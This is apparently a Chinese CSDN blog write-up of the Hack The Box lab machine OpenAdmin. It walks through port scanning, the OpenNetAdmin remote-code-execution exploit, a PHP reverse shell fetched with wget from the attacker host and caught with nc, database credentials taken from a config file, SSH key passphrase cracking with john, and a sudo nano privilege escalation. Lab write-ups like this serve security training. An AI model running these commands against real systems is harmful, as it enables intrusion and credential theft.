简介
这是萌新第一次尝试的渗透测试,中间走了很多弯路,查了很多资料,但学到了很多。有兴趣的同学我们可以一起讨论。
前期准备工作
1.更改/etc/hosts。添加一行解析地址(如图最后一行),只是图方便,毕竟经常输IP不如输主机名来的方便。
2.使用nmap进行端口扫描。nmap -A openadmin
服务器开放了22和80端口。那么突破口可能就在80端口了。
查看Web页面
1.打开浏览器查看http://openadmin/,没有发现什么特别的。使用dirb
扫描Web目录。命令:dirb http://openadmin/
最后扫描的结果有两个子目录artwork
和music
。分别在浏览器打开,发现artwork
没什么特别明显的。但在music
目下,发现右上角login按钮有页面跳转。
点击进去跳转到了http://openadmin/ona
右上角登录管理员账户,随便试了下账号admin
和密码admin
,竟然登录成功。经过一段时间摸索后发现这个管理员账号没啥特殊的,放弃这条路。
2.破解opennetadmin。发现页面标题为opennetadmin,在kali运行searchsploit opennetadmin
opennetadmin漏洞版本号正好和靶机一样。
可以发现破解工具有msf和sh两个版本。之前尝试了msf但是一直提示“no session created
”。之后使用sh版本,运行命令searchsploit -m 47691
将该sh文件下载到当前目录。
cat一下这个sh文件,发现只需要一个参数
结合之前msf破解的说明,猜想这个参数应为http://openadmin/ona/login.php
(这个sh文件运行会报错,但将代码重新复制粘贴就好了,原因不明,有懂的大佬麻烦提示下)。将代码重新粘贴进新的sh文件1.sh
,运行命令./1.sh http://openadmin/ona/login.php
拿到了shell。pwd
查看当前路径为/opt/ona/www
,whoami
查看当前用户为www-data
。
获取jimmy用户
1.因为之前特意看过opennetadmin官方帮助文档,所以清楚里面会设置数据库账号和密码。但是当下先上传个木马,来个反向shell。
php反向shell帮助文档。
下载好后,按照文档给的提示,在php文件中将ip和端口改成自己的(文件名我改成了p.php,端口设置为6666)。运行python3 -m http.server 80
,在靶机的shell中运行wget http://10.10.14.32/p.php
.
如图已成功上传,开启本机监听端口,nc -v -n -l -p 6666
.并在浏览器访问http://openadmin/ona/p.php
。若本机显示如下表示反向shell成功。
2.寻找数据库账号和密码,在/opt/ona/www/local/config/
目下有个databases_settings.inc.php
。cat一下。
拿到了MySQL用户为ona_sys的密码,使用这个密码尝试登陆jimmy用户和joanna用户,jimmy登陆成功!(之后发现在/etc/apache2/sites-available/openadmin.conf里有相关提示)使用ssh登陆jimmy。
获取joanna用户
1.进入jimmy家目录下并没有user.txt文件,那么只有在joanna下了。继续收集信息。在/var/www
下发现以jimmy为所有者的文件夹。
cd internal
ls -l
其中main.php有重要信息
输出joanna用户的ssh密钥,下面的Don forget your “ninja” passwrod的提醒也很醒目,猜想可能是ssh密钥的密码。但是很显然在浏览器无法访问这个文件,文件名为internal,内部?内网?而且这个文件所有者是jimmy理论上无法得到joanna家目下的信息。
2.在这一步卡了许久,最后在/etc/apache2/sites-available/
下发现了突破口。
打开internal.conf
当看到中间的AssignUserID joanna joanna明白了,应该是“借用”了joanna用户的权限执行那个php文件。访问端口为52846,浏览器打开访问之连接失败,nmap -p52846 openadmin
端口关闭。这时又想起internal这个单词,谨慎的在靶机命令行输入curl http://127.0.0.1:52846/main.php
成功。
这里可以将main.php里的shell代码改成“cat /home/joanna/user.txt”可以直接输出flag。但是不拿到joanna用户无法获取root。
3.将密钥复制到本机上,之前提示的“ninja”应该是密钥密码。使用密钥登录ssh:
ssh -i ssh.txt -l joanna openadmin
输入“ninja”,错误?再输一遍还是错误。
那就只能破解密钥。
先转成john格式,再使用字典爆破。
python /usr/share/john/ssh2john.py ssh.txt > sshjohn
john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn
得到密码“bloodninjas”(这提示跟没给一样…)
继续登录
ssh -i ssh.txt -l joanna openadmin
输入“bloodninjas”进去了,拿到一个flag。
获取root
1.因为在Hackthebox上看到这个靶机很多人觉得获取root很简单,所以觉得获取root的flag应该不复杂。sudo?cowroot?还是什么
2.sudo -l
可以输出信息,说明joanna可以执行sudo,最一行,用户joanna可以不使用密码sudo运行那两个文件。(滑稽)
sudo /bin/nano /opt/priv
Ctrl+R读取文件,输入/root/root.txt
回车,root的flag就获取到了。
来源:CSDN
作者:d3f4ult
链接:https://blog.csdn.net/sdihvai/article/details/103953010